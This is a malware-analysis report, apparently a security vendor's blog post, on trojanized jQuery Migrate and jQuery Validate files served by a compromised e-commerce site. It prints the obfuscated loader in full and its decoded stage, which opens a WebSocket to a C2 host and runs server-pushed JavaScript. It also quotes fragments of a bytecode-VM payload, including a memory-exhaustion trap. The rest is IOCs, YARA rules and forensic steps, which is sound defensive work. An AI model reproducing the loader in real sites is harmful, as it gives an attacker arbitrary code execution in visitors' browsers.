Trojanized jQuery on a Compromised Storefront Runs Operator-Pushed JavaScript over a WebSocket

by Maya Douglas on Nov 18, 2026

adult-showing-code-presentation-on-a-large-screen-2026-09-24-06-52-56-utc

We identified a compromised e-commerce site serving trojanized copies of two of its own first-party JavaScript libraries. An obfuscated loader appended to jquery-migrate opens a WebSocket to qqqtan[.]com and executes any JavaScript the server sends back. A second trojanized file, jquery.validate, carries a ~201 KiB environment-keyed JavaScript bytecode VM. Clean and trojanized versions of each file are served alternately, and the server reports a 2023 timestamp for the trojanized loader, three years before its own C2 domain existed. Command-and-control sits behind Cloudflare.

Key Findings

Proven: shown directly by the evidence. Likely: the best explanation, not proven. Possible: consistent with the evidence, unconfirmed. Unknown: no evidence either way.

•Proven. A legitimate e-commerce site (nopCommerce 3.x on IIS 10, AWS EC2) serves trojanized copies of its own jquery-migrate-1.2.1.min.js and jquery.validate.min.js, so the injected code runs with the site's full privileges.
•Proven. The jquery-migrate loader reports each visitor's page URL to wss[:]//qqqtan[.]com/common and runs whatever JavaScript the server sends back. The file itself never contains the operator's code.
•Possible. The jquery.validate payload, a ~201 KiB environment-keyed bytecode VM, uses the browser features a form or payment-data collector needs. Its bytecode is keyed to its own source and runtime, which blocks static decryption. Whether both files share an operator is unknown.
•Proven. Two versions of each file are being served, from one or more back ends. Whether the attacker chooses which version is unknown; a web farm, caching, a partial cleanup or a malicious IIS module also fit.
•Proven. The server dates the trojanized loader 2023-06-26, three years before its C2 domain existed, so the timestamp does not reflect when the content was written. The exact 24-hour offset from the clean copy makes the attacker or their tooling the likely source.
•Proven (visit 3), likely (visits 1–2). A RADICL-monitored workstation ran the loader on three visits, and Chrome's Network Error Logging store proves the C2 answered inside the site's page on the third. The file was likely downloaded once and reused from cache. Whether code was pushed is unknown. EDR saw no follow-on activity.

Figure 1. Infection chain. Both trojanized files come from the compromised site; the loader runs whatever qqqtan[.]com pushes. Dashed boxes are unconfirmed.

1. Loader: jquery-migrate-1.2.1.min.js

The stock jQuery Migrate 1.2.1 build (identical to the official release, ending }(jQuery,window);) is intact. Appended after it are 5,266 bytes of obfuscator.io output, bringing the file to 12,466 bytes. All decoding below is static. Nothing was executed.

Summary

Property

Value

Stock body

jQuery Migrate 1.2.1, identical to the official release

Appended code

5,266 B, obfuscator.io

String array

_0x2ebf, 31 entries, each RC4-encrypted

String decoder

_0xc84b: lowercase-first custom base64, then RC4 under a per-call 4-character key

Tamper check

array rotated until an arithmetic checksum over ten decoded entries equals 0x847d6

Outer wrapper

decode two strings → reverse the first → XOR with the second (gtag) → new Function(...)()

Innermost layer

C2 URL stored as an integer array, XOR 42

 

The Appended Code

Transcribed from urlscan's stored copy of the served file and split into four listings, otherwise unchanged. It is not byte-exact, so use the IOC table hashes rather than hashing this text.

String array. 31 entries, each custom-base64-encoded and RC4-encrypted under its own key. After the first call, _0x2ebf replaces itself with a function that returns the cached array.

function _0x2ebf(){var _0x2077ec=['W4Oqis5WW7SZWQO6WROAeri','WORdU8oXDSoEW6Wthq4lqq0B','W4iYzSkfW5/cOsZcNetcTmkXhL0','W6RcKs7dRSoJW4/dSfRdS8oIW74','dCkVW6ZdNCovDh3cIKbWWPK9','fGtcH31CW53cKCo/ySkHW7tcIq','W4VdUgi','m07cTaSldH9eWP0','W4z3WOG0WOS','wHNdOmoUgmoVtxtdPSkA','gY1KW6O+WOhcVmoeWQHcy1ZcOq','zSkZoCkZESomW4xcM1i','uWddJsef','WOmWWQ5U','W4/dMSkYWOWWWRCAW7GPb8oz','WRVdJ8obW5i','pM48W7Ok','ae/cMmowW5vJ','WPFcRszkoSkIW6tcTSovFwhcS1m','WQNdJSoRW5RcVW','DCkuySkLDCkQW7jXW4RcVauP','WR9GlHhcSa','W6NcOCoUWPtcUhjaWOZdGxK1WQhdPSkjfCkeqIulWP0bimoKn8ocWRSNWPXcWQ3dNYryW6bJW5pdKmovWPXsW4rdW6tdT3KDsLpdVmoUo0vZW659C8o6fSkThMddRI3cJHGXWQlcLSo+W7NdLmooWOXnW4GXWOFdK3r9WOKzySklW4BdLqalW7DlySkypcuHaW3cSSoQBmoboGxcIKhdUmkgWR1MWQ9PgK7dS8k8WQCAiSkeWQLVbCkVWO3cNY4yWO5aWO/cIXSWWR/cN8k4C1mWWQ7cGSo9W4JdTSodWOS5W4JcMMNcRhSLhmkLrmorB8kcD34TW5ZdNSowW74qW7amW7nYWR7cVmoaimkuW4VcRmo8WODvu1iDnmoPW64FqcWktaX/W6hdSCkpaJb7tXzAje5JmmoDomoFW5fEDa9DaSoMoMNcIZnGfSo8kfyHj8oEWRxdSudcPZ5eW5pdJ1ddPtldQCoDWQOEjvnOjI1ewImicCooW7xcILeqhGpcKG/dISkbW6tcRtjNWPpcQmk5rsCvubKenCo0WOSvWPZcOwFdV8kCWR5xFdWajXGsk8oBW5z8wMCQWRmuW6DBBYZcLKq','vXFdO2ZcI8orD8k+Dre','CSogaXHk','W6uPjNbQWOSN','r0ldKYG','W7VcLmkMWOhdVvyI','hxS0W7G5y0pcJwFcMKqN','fCkTeJzIW7JdRXBdLmkb','nKbYgvlcUZxcVb8F'];_0x2ebf=function(){return _0x2077ec;};return _0x2ebf();}

String decoder. _0xc84b subtracts a base offset of 0x1e3, decodes the entry with the lowercase-first base64 alphabet, and RC4-decrypts it under the key passed with each call. Results are cached on the function itself under ZGbGSn, IRQHMF, OuobCA, nvbQgh and busYwA.

var _0x296cdf=_0xc84b;function _0xc84b(_0x215cef,_0x39d399){_0x215cef=_0x215cef-0x1e3;var _0x2ebf58=_0x2ebf();var _0xc84bc9=_0x2ebf58[_0x215cef];if(_0xc84b['ZGbGSn']===undefined){var _0x17b4b5=function(_0x29b7a2){var _0x156bcf='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x4dae17='',_0x46b2f2='';for(var _0x1552f2=0x0,_0x4c3199,_0x4544e9,_0x5e21a5=0x0;_0x4544e9=_0x29b7a2['charAt'](_0x5e21a5++);~_0x4544e9&&(_0x4c3199=_0x1552f2%0x4?_0x4c3199*0x40+_0x4544e9:_0x4544e9,_0x1552f2++%0x4)?_0x4dae17+=String['fromCharCode'](0xff&_0x4c3199>>(-0x2*_0x1552f2&0x6)):0x0){_0x4544e9=_0x156bcf['indexOf'](_0x4544e9);}for(var _0x482367=0x0,_0x2bc723=_0x4dae17['length'];_0x482367<_0x2bc723;_0x482367++){_0x46b2f2+='%'+('00'+_0x4dae17['charCodeAt'](_0x482367)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x46b2f2);};var _0x5cda19=function(_0x53c3fe,_0x21079b){var _0x3bb3ae=[],_0x38a3c7=0x0,_0xbac0ca,_0xc2dd5c='';_0x53c3fe=_0x17b4b5(_0x53c3fe);var _0x1aee13;for(_0x1aee13=0x0;_0x1aee13<0x100;_0x1aee13++){_0x3bb3ae[_0x1aee13]=_0x1aee13;}for(_0x1aee13=0x0;_0x1aee13<0x100;_0x1aee13++){_0x38a3c7=(_0x38a3c7+_0x3bb3ae[_0x1aee13]+_0x21079b['charCodeAt'](_0x1aee13%_0x21079b['length']))%0x100,_0xbac0ca=_0x3bb3ae[_0x1aee13],_0x3bb3ae[_0x1aee13]=_0x3bb3ae[_0x38a3c7],_0x3bb3ae[_0x38a3c7]=_0xbac0ca;}_0x1aee13=0x0,_0x38a3c7=0x0;for(var _0x1b9d8f=0x0;_0x1b9d8f<_0x53c3fe['length'];_0x1b9d8f++){_0x1aee13=(_0x1aee13+0x1)%0x100,_0x38a3c7=(_0x38a3c7+_0x3bb3ae[_0x1aee13])%0x100,_0xbac0ca=_0x3bb3ae[_0x1aee13],_0x3bb3ae[_0x1aee13]=_0x3bb3ae[_0x38a3c7],_0x3bb3ae[_0x38a3c7]=_0xbac0ca,_0xc2dd5c+=String['fromCharCode'](_0x53c3fe['charCodeAt'](_0x1b9d8f)^_0x3bb3ae[(_0x3bb3ae[_0x1aee13]+_0x3bb3ae[_0x38a3c7])%0x100]);}return _0xc2dd5c;};_0xc84b['IRQHMF']=_0x5cda19,_0xc84b['OuobCA']={},_0xc84b['ZGbGSn']=!![];}var _0x43f96b=_0x2ebf58[0x0];_0xc84b['nvbQgh']!==_0x43f96b&&(_0xc84b['OuobCA']={},_0xc84b['nvbQgh']=_0x43f96b);var _0x3a7948=_0xc84b['OuobCA'][_0x215cef];return _0x3a7948===undefined?(_0xc84b['busYwA']===undefined&&(_0xc84b['busYwA']=!![]),_0xc84bc9=_0xc84b['IRQHMF'](_0xc84bc9,_0x39d399),_0xc84b['OuobCA'][_0x215cef]=_0xc84bc9):_0xc84bc9=_0x3a7948,_0xc84bc9;}

Rotation and checksum. Rotates the array one position at a time until ten decoded entries, passed through parseInt and combined in a fixed expression, equal 0x847d6. This listing and the next are one statement joined by a comma.

(function(_0x46112f,_0x4e5803){var _0x2cb826=_0xc84b,_0x4f2d96=_0x46112f();while(!![]){try{var _0x512a43=parseInt(_0x2cb826(0x200,'CZ$8'))/0x1+-parseInt(_0x2cb826(0x1f1,'#j6$'))/0x2+-parseInt(_0x2cb826(0x1fd,'m7UZ'))/0x3+parseInt(_0x2cb826(0x1e7,'@3%X'))/0x4+parseInt(_0x2cb826(0x1e4,'pWVq'))/0x5*(parseInt(_0x2cb826(0x1eb,'2@q7'))/0x6)+-parseInt(_0x2cb826(0x1fc,'VpvB'))/0x7*(parseInt(_0x2cb826(0x1f6,'iR^q'))/0x8)+-parseInt(_0x2cb826(0x1fb,'u5BB'))/0x9*(-parseInt(_0x2cb826(0x1f4,'(UOn'))/0xa);if(_0x512a43===_0x4e5803)break;else _0x4f2d96['push'](_0x4f2d96['shift']());}catch(_0x41fe62){_0x4f2d96['push'](_0x4f2d96['shift']());}}}(_0x2ebf,0x847d6),

Final wrapper. Decodes entry 0x1f3 (key ]It3) as the payload and entry 0x1f7 (key vVe6) as the XOR key. It reverses the payload, XORs it character by character with the key, and runs the result with new Function.

!function(_0x29c8db,_0x9cfb70){var _0x2933ea={'xnCfy':function(_0x8c8e82,_0x41ad4f){return _0x8c8e82^_0x41ad4f;},'QyIdi':function(_0x3bd6bc,_0x4ed3c1){return _0x3bd6bc%_0x4ed3c1;}};!function(_0xa085a4){var _0x2842ec=_0xc84b,_0x4a41ec={'Eggop':function(_0x5be487,_0x24a0bd){var _0x3f8608=_0xc84b;return _0x2933ea[_0x3f8608(0x1f0,'W7rK')](_0x5be487,_0x24a0bd);},'iVjUb':function(_0xa34164,_0x3d9bde){var _0x2b04b7=_0xc84b;return _0x2933ea[_0x2b04b7(0x1e9,'pWVq')](_0xa34164,_0x3d9bde);}},_0x1fe9d3=function(_0x358647,_0x51fbf5){var _0xb722b4=_0xc84b;return _0x358647[_0xb722b4(0x1f2,'dhB*')]('')[_0xb722b4(0x1e3,'stIG')](function(_0x28ce53,_0x45b4da){var _0x9a2de0=_0xb722b4;return String[_0x9a2de0(0x1f9,'LkO$')](_0x4a41ec[_0x9a2de0(0x1ed,'LkO$')](_0x28ce53['charCodeAt'](0x0),_0x51fbf5[_0x9a2de0(0x1fa,'Hal$')](_0x4a41ec[_0x9a2de0(0x1f5,'pNJE')](_0x45b4da,_0x51fbf5[_0x9a2de0(0x1ee,'KBQF')]))));})[_0xb722b4(0x1ec,'W7rK')]('');}(_0xa085a4[_0x2842ec(0x1e5,'dFDK')]('')[_0x2842ec(0x1f8,'zxAZ')]()[_0x2842ec(0x1ea,'yStj')](''),_0x9cfb70);new Function(_0x1fe9d3)();}(_0x29c8db);}(_0x296cdf(0x1f3,']It3'),_0x296cdf(0x1f7,'vVe6')));

Decoding

We decoded it statically, without running the code. Only one arrangement of the hidden strings passes the obfuscator’s own checksum, so the decode confirms itself.

The XOR key is gtag, which reads like Google's analytics tag. Here is the decoded second stage with one statement per line:

const ftb = [93,89,89,16,5,5,91,91,91,94,75,68,4,73,69,71,5,73,69,71,71,69,68,21,89,69,95,88,73,79,23];
const bod = 42;
window.ww = new WebSocket(String.fromCharCode(...ftb.map(gwpt => gwpt ^ bod)) + encodeURIComponent(location.href));
window.ww.addEventListener('message', event => {new Function(event.data)()});

ftb XOR 42 decodes to wss://qqqtan.com/common?source=.

What It Gives the Operator

The source parameter tells the C2 which page each visitor is on, query string included. Whatever comes back runs as the compromised site: it can read and rewrite the page, read form fields as they are filled in, read cookies not marked HttpOnly, and make requests with the visitor's session. The file only ever holds the loader, so a static scan of the site won't find the operator's code. We did not capture any pushed content.

2. Payload: jquery.validate.min.js

The stock jQuery Validation 1.11.1 build (identical to the official release, plus Microsoft's NuGet license comment at the top) ends normally at validateDelegate:function(e,i,s){…}})}(jQuery);. Appended after it is ~201.4 KiB of JavaScript virtual machine. An interpreter (vmM_eb7aa1) executes encrypted bytecode stored as a custom-alphabet base64 string, and keeps its state on a global object (vmZ_9f2f97).

Summary

Property

Value

Stock body

jQuery Validation 1.11.1, identical to the official release plus Microsoft's NuGet license comment

Appended code

~201.4 KiB bytecode VM; file total 222.8 KiB

Bytecode alphabet

6Ed+JGzmP7Th5pQb1nAs3jx2KLciCwvatMHyfFqoNZlIOS8Ugku/D9rXW4BYeRV0

Language markers

globalThis ×3, BigInt literals ×7, async generator ×1, new.target ×19

Status

Encrypted; needs dynamic analysis in an instrumented browser

 

The language markers settle the tampering question by themselves. globalThis and BigInt are ES2020 features, and every marker in the table postdates the library's 2013 release.

Where the Library Ends and the VM Begins

The stock library's last statement is intact:

validateDelegate:function(e,i,s){return this.bind(i,function(i){var r=t(i.target);return r.is(e)?s.apply(r,arguments):void 0})}})}(jQuery);

The appended code starts with a semicolon so it parses cleanly after that statement. It finds the global object, creates vmZ_9f2f97 on it to hold VM state, and defines the interpreter vmM_eb7aa1:

;let vmD=typeof globalThis!=='undefined'?globalThis:typeof window!=='undefined'?window:typeof self!=='undefined'?self:typeof global!=='undefined'?global:void 0x0,vmZ_9f2f97=vmD['vmZ_9f2f97']||(vmD['vmZ_9f2f97']={});const vmM_eb7aa1=(function(){ /* … */

Self-Hash Protection and Bytecode

The function that holds the bytecode binds its own toString to the native Function.prototype.toString. An analyst who hooks toString cannot feed it modified source when it hashes itself. The encrypted bytecode follows as base64 strings in a custom alphabet:

t=function(){t['toString']=Function['prototype']['toString']['bind'](t);let O=["EYL1FTyt/qPsBdBpnVYSWavBgFidcvhA/92BYuyfKV7cAnyB45mlCrqakYEL0xjC… /* encrypted bytecode continues */
var jU='6Ed+JGzmP7Th5pQb1nAs3jx2KLciCwvatMHyfFqoNZlIOS8Ugku/D9rXW4BYeRV0'

Environment Probes

The decryption key is derived from that self-hash and from the runtime. The VM checks for Node's process and require, then for browser objects, each check inside its own try/catch:

try{jS(typeof process!=='undefined'?process:0x0,jh,jm);}catch(KR){}try{jz(typeof process!=='undefined'?process:0x0,typeof require!=='undefined'?require:0x0,Yx,YX,s,jh,jm);}catch(KI){}try{js(typeof navigator!=='undefined'?navigator:0x0,typeof window!=='undefined'?window:typeof self!=='undefined'?self:0x0,typeof document!=='undefined'?document:0x0,Yx,YX,s,jh,jm);}catch(KP){} /* … */

It also decodes a list of edge-case two-byte sequences with TextDecoder in euc-kr, shift_jis and big5. A runtime that lacks these encodings, or handles the edge cases differently, produces different results. Timing feeds in as well. Editing the code, running it under Node, or single-stepping it in a debugger all change at least one input.

var jE=0x8e89d9e3>>>0x0;try{var jn=typeof TextDecoder!=='undefined'?TextDecoder:0x0,jp=Uint8Array||Uint8Array;if(jn){var G0=[['euc-kr',[0x8e,0xfe]],['euc-kr',[0xa0,0xc0]],['euc-kr',[0xa0,0xfe]],['shift_jis',[0xc0,0x80]], /* … */

Crash Trap

A helper fills an array with 0x27bea1fb (666,804,731) strings. That is enough to exhaust memory and stall or kill whatever tab or analysis process runs it.

function Ye(){var KR=0x27bea1fb,KI=new Array(KR);for(var KP=0x0;KP<KR;KP++){KI[KP]='k'+KP;}return KI;}

Exit: Globals and Entry Call

The appended code ends by exposing browser globals to the VM through getters and setters on vmZ_9f2f97, then starting the interpreter. The last two globals it exposes are FormData and File:

try{FormData,Object['defineProperty'](vmZ_9f2f97,'FormData',{'get':function(){return FormData;},'set':function(Y){FormData=Y;},'configurable':!![]});}catch(vmMK){}try{File,Object['defineProperty'](vmZ_9f2f97,'File',{'get':function(){return File;},'set':function(Y){File=Y;},'configurable':!![]});}catch(vmMR){}(function(){return vmM_eb7aa1(arguments,this,undefined,0x0,new.target,undefined,0x89,0xea,0x4b);}());

Probable Purpose

The VM references window, document, Element, navigator, fetch, FormData, File, URLSearchParams, btoa, encodeURIComponent and TextEncoder. That set covers reading the page, packaging form data, encoding it and sending it out. On an e-commerce site, that fits a form or payment-data collector. Confirming it needs the VM run in an instrumented browser, which this report does not include.

3. What the Server Serves

Three scans from three vantage points over nine hours returned two distinct bodies for each file.

Two Versions of Each File

When IIS serves a static file itself, the ETag encodes the file's last-write time as eight hex bytes without zero padding. We try every split into eight bytes and keep the one within 1.5 seconds of the Last-Modified header, which recovers the sub-second precision that header drops (decoder in the appendix).

File

Version

SHA-256

ETag

Decoded timestamp (UTC)

migrate

trojanized

d4c29296…

"0fa6060f3a7d91:0"

2023-06-26 05:59:32.0000000

migrate

clean

b3dd0087…

"03af7352aa7d91:0"

2023-06-25 05:59:32.0000000

validate

trojanized

71ecc4bd…

"aee449452aa7d91:0"

2023-06-25 05:59:57.7075886

validate

clean

4d4d42f6…

"80ecdd442aa7d91:0"

2023-06-25 05:59:57.0000000

jquery-ui (reference)

clean

n/a

"e72eb3452aa7d91:0"

2023-06-25 05:59:58.3976167

 

Each body kept one fixed ETag across every scan, where a file rewritten on the fly would show one ETag with changing content. Two versions of each file are being served, from one or more back ends.

What Each Scan Received

Scan (UTC)

Source

jquery-migrate

jquery.validate

2026-10-29 20:06

Third party, Singapore

trojanized

clean

2026-10-30 00:46

RADICL, Germany

trojanized

trojanized

2026-10-30 05:25

RADICL (private)

clean

trojanized

 

Figure 2. Which version of each file the server gave each scan (UTC).

The section 4 workstation ran the trojanized migrate on all three of its visits, since each one connected to qqqtan, but it probably downloaded the file only once. The site's scripts carry Cache-Control: max-age=604800, which lets a browser reuse its copy for seven days, and all three visits fell inside that window. We saw that header on jquery.validate and jquery-ui, not on migrate. urlscan starts each scan with an empty cache, so the differences between scans did come from the server.

jquery.validate went from clean to trojanized between 20:06 and 00:46. jquery-migrate went from trojanized to clean between 00:46 and 05:25. Several explanations fit:

Explanation

How it would produce this pattern

Attacker-controlled serving

The attacker swaps files over time, or serves versions by visitor or location

Web farm

One IIS node is compromised and another is clean or partly restored; sticky sessions (AWSALB, ARRAffinity) or geo-DNS decide who reaches which

Caching

A CDN or reverse proxy keeps serving an old version, ETag included, after the origin changes

Remediation

An administrator restored jquery-migrate from backup, which would also explain its whole-second 2023 timestamp

Malicious IIS module

A module that injects content can set any ETag or Last-Modified, so a fixed ETag does not prove a file on disk

 

A single EC2 address makes an AWS load balancer less likely but does not rule out a web farm behind it. Per-scan IPs, timed fetches from one vantage point, and the workstation's Chrome cache and cookies would narrow it down. The owner's IIS configuration and logs would settle it.

Timestamp Mismatch

The server dates the trojanized migrate 2023-06-26 05:59:32.0000000, exactly 24 hours after the clean copy. Its payload references qqqtan[.]com, registered 2026-07-15 with no certificates or web archive captures before then, so the timestamp does not reflect when the content was written. Timestamp-preserving tools (rsync -t, robocopy, zip or Web Deploy packages, FTP MFMT) could have carried the date over, so this does not prove it was set by hand. The one-day offset still points to the attacker or their tooling.

The trojanized validate's timestamp, 2023-06-25 05:59:57.7075886, falls inside the site's original deployment burst, and its content does not rule out a 2023 date. Its sub-second value resembles jquery-ui's original write, while the clean validate's is a whole second, so the clean copies may be the later ones, for example from a restore. We have not shown the validate timestamp is wrong, and we do not assume the clean copies are the originals.

4. Observed on an Endpoint

RADICL first saw this activity as a threat-intel domain match on qqqtan[.]com from a customer workstation's Chrome network-service process. The workstation visited the compromised site three times.

Visit

Connection

Tie to the compromised site

1

104.21.5[.]16:443

DNS for the site and qqqtan ~1 s apart (inferred)

2

172.67.132[.]188:443

Same; Chrome had relaunched after an auto-update and restored the open tab (inferred)

3

172.67.132[.]188:443

NEL policy row recorded 151 ms after the connection (proven)

 

Visit 2 needed no navigation: Chrome relaunched after an update and restored the tab. Each visit made exactly one connection to qqqtan's Cloudflare edge, with no reconnects or beaconing.

NEL: Proof of a C2 Response Inside the Page

Cloudflare adds a Network Error Logging (NEL) header to its responses. Chrome stores the resulting policy in the profile's Network\Reporting and NEL database, keyed by a network isolation key (NIK) that names the top-frame site. This workstation's store held one row for qqqtan:

Field

Value

Origin

wss://qqqtan[.]com:443

Received IP

172.67.132[.]188

Report group

cf-nel

NIK top-frame site

the compromised site

Expires

7 days after last access (Cloudflare's max_age)

 

Chrome writes that row only after receiving a response from qqqtan, and the NIK ties it to the compromised site's page, which proves visit 3. Only the latest policy is kept, so visits 1 and 2 rest on DNS adjacency. The row does not show whether the WebSocket upgrade succeeded or what was pushed, and the cache files were locked at collection time.

What EDR Can and Cannot See

Pushed JavaScript runs inside the browser, out of EDR's view. EDR showed nothing after any visit: no unexpected downloads, LOLBins or persistence. Browser history has no login, account, cart or checkout pages on the site, though that check does not cover fake overlays or other devices. No other customer host or RADICL tenant contacted qqqtan.

5. Infrastructure

qqqtan[.]com was registered on 2026-07-15 through Hostinger with Cloudflare nameservers. It resolves to shared Cloudflare edge addresses (172.67.132[.]188, 104.21.5[.]16), hiding its origin. A plain HTTPS request returns an empty Apache/2.4.63 (Ubuntu) "Index of /" page. At analysis time, 2 of 92 VirusTotal engines flagged it and CrowdStrike Intelligence rated it high-confidence malicious. The earliest third-party sighting we found was 2026-10-21.

The compromised site, a legitimate business running nopCommerce 3.x on IIS 10 and AWS EC2, is a victim and is not named here.

6. Detection

Endpoint. Alert on any process resolving or connecting to qqqtan[.]com. Pushed code running in the browser is invisible to EDR.

Browser forensics. Check each Chrome profile's Reporting and NEL database for a nel_policies row with origin_host qqqtan.com. Its NIK names the page the request came from, and the policy expires seven days after last use. The cache entry for the loader shows when it was fetched and which ETag it received. Chrome locks its cache while running, so collect with the browser fully closed. An infected copy keeps running from cache for up to seven days, so clear the cache after collection.

SELECT origin_scheme, origin_host, received_ip_address, last_access_us_since_epoch
FROM nel_policies
WHERE origin_host LIKE '%qqqtan%';

Network. Block qqqtan[.]com at DNS or proxy. Do not block its IP addresses: they are shared Cloudflare edge addresses that also front unrelated sites.

Site owners.

•Hash served static libraries against the official releases and alert on any change.
•Fetch from several locations and at several times. This server alternated versions, so one clean fetch proves nothing.
•Treat a changed ETag on a library that hasn't been redeployed as a file change, and decode its timestamp.
•ES2020 syntax in a pre-2015 library build, or a tenfold size jump, is a reliable tamper marker.
•An enforced Content-Security-Policy with a connect-src allowlist would block the loader's WebSocket. Report-Only would not.

Indicators of Compromise

Files

ID

SHA-256

Size

Role

JS-MIG-T

d4c29296718f97016df0b3300abec294b5aef0e17f2daf9fa6e0d4e1cc759559

12,466 B

Trojanized jquery-migrate-1.2.1.min.js (WebSocket loader)

JS-VAL-T

71ecc4bdb05227fe0aa52b9cd580e246b43e004b6a6e230820512e10132153b4

222.8 KiB

Trojanized jquery.validate.min.js (bytecode VM)

 

Network

Indicator

Type

qqqtan[.]com

C2

wss[:]//qqqtan[.]com/common?source=

C2 URL

172.67.132[.]188

Cloudflare edge, shared (do not block)

104.21.5[.]16

Cloudflare edge, shared (do not block)

 

Host and Server Artifacts

Artifact

Indicator

Where to find it

Chrome NEL policy

origin wss://qqqtan[.]com:443

%LOCALAPPDATA%\Google\Chrome\User Data\<profile>\Network\Reporting and NEL, table nel_policies

IIS ETag, trojanized migrate

"0fa6060f3a7d91:0"

HTTP response header from the server

IIS ETag, trojanized validate

"aee449452aa7d91:0"

HTTP response header from the server

 

Code Strings

String

Where

_0x2ebf, 0x847d6, ZGbGSn, IRQHMF, nvbQgh

Loader file (obfuscator identifiers; build-specific)

gtag (XOR key), window.ww = new WebSocket

Loader, decoded at runtime only

vmZ_9f2f97, vmM_eb7aa1

VM file (build-specific)

 

YARA

rule JS_Trojanized_jQueryMigrate_WebSocket_Loader {
    meta:
        description = "jQuery Migrate with appended obfuscator.io loader that opens a WebSocket to qqqtan[.]com and executes server-pushed JavaScript"
        author = "RADICL"
        date = "2026-10-30"
        hash = "d4c29296718f97016df0b3300abec294b5aef0e17f2daf9fa6e0d4e1cc759559"
    strings:
        $stock = "}(jQuery,window);" ascii
        $arr = "_0x2ebf" ascii
        $chk = "0x847d6" ascii
        $c1 = "ZGbGSn" ascii
        $c2 = "IRQHMF" ascii
        $c3 = "OuobCA" ascii
        $c4 = "nvbQgh" ascii
        $c5 = "busYwA" ascii
    condition:
        filesize < 100KB and $stock and $arr and $chk and 2 of ($c*)
}
 
rule JS_Trojanized_jQueryValidate_Bytecode_VM {
    meta:
        description = "jQuery Validation with an appended environment-keyed JavaScript bytecode VM, observed alongside the qqqtan[.]com loader"
        author = "RADICL"
        date = "2026-10-30"
        hash = "71ecc4bdb05227fe0aa52b9cd580e246b43e004b6a6e230820512e10132153b4"
    strings:
        $stock = "validateDelegate" ascii
        $vm1 = "vmZ_9f2f97" ascii
        $vm2 = "vmM_eb7aa1" ascii
        $alph = "6Ed+JGzmP7Th5pQb1nAs3jx2KLciCwvatMHyfFqoNZlIOS8Ugku/D9rXW4BYeRV0" ascii
        $pin = "Function['prototype']['toString']['bind']" ascii
        $trap = "0x27bea1fb" ascii
    condition:
        filesize < 1MB and $stock and 2 of ($vm1, $vm2, $alph, $pin, $trap)
}

Both rules key on identifiers the obfuscators generate per build. They will catch these files and close copies, but a rebuild will change them.

Appendix: IIS ETag Decoder

Recovers the full-precision last-write timestamp from an IIS static-file ETag, using the response's Last-Modified header to resolve the ambiguous hex.

#!/usr/bin/env python3
"""Decode an IIS static-file ETag ("<hex>:<n>") into the file's NTFS last-write time.
IIS prints the 8-byte FILETIME little-endian, one %x per byte WITHOUT zero padding,
so the hex is ambiguous; try every split into 8 byte-tokens and keep the one that lands
within 1.5 s of the HTTP Last-Modified header."""
import sys
from datetime import datetime, timezone, timedelta
EPOCH = datetime(1601, 1, 1, tzinfo=timezone.utc)
def splits(s, n=8):
    if n == 0: return [[]] if s == '' else []
    out = [[s[0]] + r for r in splits(s[1:], n - 1)] if s else []
    if len(s) >= 2 and s[0] != '0': out += [[s[:2]] + r for r in splits(s[2:], n - 1)]
    return out
def decode(etag, last_modified):
    lm = datetime.strptime(last_modified, '%a, %d %b %Y %H:%M:%S GMT').replace(tzinfo=timezone.utc)
    target = int((lm - EPOCH).total_seconds() * 10_000_000)
    for sp in splits(etag.strip('"').split(':')[0]):
        ft = int.from_bytes(bytes(int(x, 16) for x in sp), 'little')
        if abs(ft - target) < 15_000_000:
            yield (EPOCH + timedelta(microseconds=ft // 10)).strftime('%Y-%m-%d %H:%M:%S.%f')[:-2] + 'Z', ft % 10_000_000
if __name__ == '__main__':
    for ts, sub in decode(sys.argv[1], sys.argv[2]): print(ts, '(sub-second 100ns ticks: %d)' % sub)
$ python3 -I etag_decode.py '"0fa6060f3a7d91:0"' 'Mon, 26 Jun 2023 05:59:32 GMT'
2023-06-26 05:59:32.0000Z (sub-second 100ns ticks: 0)
$ python3 -I etag_decode.py '"03af7352aa7d91:0"' 'Sun, 25 Jun 2023 05:59:32 GMT'
2023-06-25 05:59:32.0000Z (sub-second 100ns ticks: 0)
$ python3 -I etag_decode.py '"aee449452aa7d91:0"' 'Sun, 25 Jun 2023 05:59:57 GMT'
2023-06-25 05:59:57.7075Z (sub-second 100ns ticks: 7075886)
$ python3 -I etag_decode.py '"80ecdd442aa7d91:0"' 'Sun, 25 Jun 2023 05:59:57 GMT'
2023-06-25 05:59:57.0000Z (sub-second 100ns ticks: 0)
$ python3 -I etag_decode.py '"e72eb3452aa7d91:0"' 'Sun, 25 Jun 2023 05:59:58 GMT'
2023-06-25 05:59:58.3976Z (sub-second 100ns ticks: 3976167)

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